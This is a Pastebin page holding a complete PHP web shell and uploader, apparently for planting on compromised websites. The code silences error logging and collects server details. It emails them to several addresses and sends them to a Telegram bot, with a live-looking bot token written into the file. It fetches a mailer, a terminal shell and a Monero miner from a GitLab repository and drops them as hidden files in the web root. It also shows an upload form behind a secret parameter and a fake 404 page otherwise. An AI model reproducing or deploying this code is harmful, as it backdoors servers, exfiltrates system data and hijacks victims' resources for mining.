Advertisement
CaFc_Br40ck

Untitled

May 9th, 2021 (edited)
3,555
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.95 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4. @ini_set('error_log',null);
  5. @ini_set('log_errors',0);
  6. @ini_set('max_execution_time',0);
  7. @ini_set('output_buffering',0);
  8. @ini_set('display_errors', 0);
  9. date_default_timezone_set('Asia/Jakarta');
  10. function ip() {
  11. $ipas = '';
  12. if(getenv('HTTP_CLIENT_IP'))
  13. $ipas = getenv('HTTP_CLIENT_IP');
  14. else if(getenv('HTTP_X_FORWARDED_FOR'))
  15. $ipas = getenv('HTTP_X_FORWARDED_FOR');
  16. else if(getenv('HTTP_X_FORWARDED'))
  17. $ipas = getenv('HTTP_X_FORWARDED');
  18. else if(getenv('HTTP_FORWARDED_FOR'))
  19. $ipas = getenv('HTTP_FORWARDED_FOR');
  20. else if(getenv('HTTP_FORWARDED'))
  21. $ipas = getenv('HTTP_FORWARDED');
  22. else if(getenv('REMOTE_ADDR'))
  23. $ipas = getenv('REMOTE_ADDR');
  24. else
  25. $ipas = 'IP tidak dikenali';
  26. return $ipas;
  27. }
  28. $disfunc = @ini_get("disable_functions");
  29. if(empty($disfunc)) {
  30. $disfc = "NONE";
  31. } else {
  32. $disfc = $disfunc;
  33. }
  34. if(!function_exists('posix_getegid')) {
  35. $user = @get_current_user();
  36. $uid = @getmyuid();
  37. $gid = @getmygid();
  38. $group = "?";
  39. } else {
  40. $uid = @posix_getpwuid(posix_geteuid());
  41. $gid = @posix_getgrgid(posix_getegid());
  42. $user = $uid['name'];
  43. $uid = $uid['uid'];
  44. $group = $gid['name'];
  45. $gid = $gid['gid'];
  46. }
  47. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF";
  48. $server_ip = gethostbyname($_SERVER['HTTP_HOST']);
  49. $software = $_SERVER['SERVER_SOFTWARE'];
  50. $lihat = ip();
  51. $sys = php_uname();
  52. $tujuanmail = 'setorankerangajaib@hotmail.com,anandaariwibawa@disposable.com,anandaariwibawa@yahoo.com,anandaariwibawa@gmail.com';
  53. $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
  54. $pesan_alert = "Info server\r\nLetak-> $x_path \r\nIP Address : [ " . ip() . " ]\r\nUname: ".php_uname()."\r\nSoftware: $software \r\nPHP version:".PHP_VERSION."\r\nPHP os: ".PHP_OS."\r\nServer IP : $server_ip \r\nYour IP: $lihat \r\nUser: $ ($uid) | Group: $group ($gid) \r\nSafe Mode: $sm \r\nDisable Function: $disfc";
  55. mail($tujuanmail, "IDBTE4M UPLOADER RESULT", $pesan_alert, "[ " . ip() . " ]");
  56. $apiToken = "1862821332:AAHp1nTa72MEM9vHkL7-lAW-OgWp8U_p7MA";
  57. $data = [ 'chat_id' => '-4111975907', 'text' => "Letak : $x_path\r\nIP Server : $server_ip \r\nIP Address : $lihat \r\n Software : $software\r\nYour IP: $lihat \r\nUser: $ ($uid) | Group: $group ($gid) \r\nSafe Mode: $sm \r\nDisable Function: $disfc \r\n Uname : \r\n $sys \r\n " ];
  58. $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
  59. if(in_array ('curl', get_loaded_extensions())){
  60. function http_get($url){
  61. $im = curl_init($url);
  62. curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  63. curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  64. curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  65. curl_setopt($im, CURLOPT_HEADER, 0);
  66. return curl_exec($im);
  67. curl_close($im);
  68. }
  69. }else{
  70. function http_get($url){
  71. $resutlt = file_get_contents($url);
  72. return $resutlt;
  73. }
  74. }
  75. $check = $_SERVER['DOCUMENT_ROOT'] . "/.send.php" ;
  76. $text = http_get('https://gitlab.com/cafcbr40ck/PasukanBeraniMati/-/raw/main/sendinbox-server.php');
  77. $open = fopen($check, 'w');
  78. fwrite($open, $text);
  79. fclose($open);
  80. if(file_exists($check)){
  81. }
  82. $check1 = $_SERVER['DOCUMENT_ROOT'] . "/.term.php" ;
  83. $text1 = http_get('https://gitlab.com/cafcbr40ck/PasukanBeraniMati/-/raw/main/term.php');
  84. $open1 = fopen($check1, 'w');
  85. fwrite($open1, $text1);
  86. fclose($open1);
  87. if(file_exists($check1)){
  88. }
  89. $check2 = $_SERVER['DOCUMENT_ROOT'] . "/.xmr.php" ;
  90. $text2 = http_get('https://gitlab.com/cafcbr40ck/PasukanBeraniMati/-/raw/main/xmr.php');
  91. $open2 = fopen($check2, 'w');
  92. fwrite($open2, $text2);
  93. fclose($open2);
  94. if(file_exists($check2)){
  95. }
  96. if(isset($_GET['silitan'])){
  97. echo '<center><h1>Pasukan Berani Mati</h1>'.'<br>'.'[uname] '.php_uname().' [/uname] <br>';
  98. echo 'Curl: ', function_exists('curl_version') ? 'Enabled' : 'Disabled';
  99. echo '<br>';
  100. print "\n";$disable_functions = @ini_get("disable_functions");
  101. echo "<br>DisablePHP=".$disable_functions; print "\n";
  102. echo '<h2>CaFc_Br40ck</h2><br><font style="Arial"><font color="red"><center><b><br><br>Directory: '.getcwd().' <br></b><br><form action=""method="post" enctype="multipart/form-data" name="uploader" ></center><br><center><input type="file" name="file" size="50"><input name="_zx" type="submit" value="Upload"/></form></center>';
  103. if($_POST['_zx'] == "Upload" ) {
  104. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
  105. echo '<center><b><br><br><b>File Uploaded :<a href="'.$_FILES['file']['name'].'">'.$_FILES['file']['name'].'</a></b><br><br></center>';
  106. }else {
  107. echo '<b>'.$_FILES['file']['name'].' Not Uploaded.</b>';
  108. }
  109. }
  110. } else{
  111. header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
  112. die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>');
  113.  
  114. }
  115. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement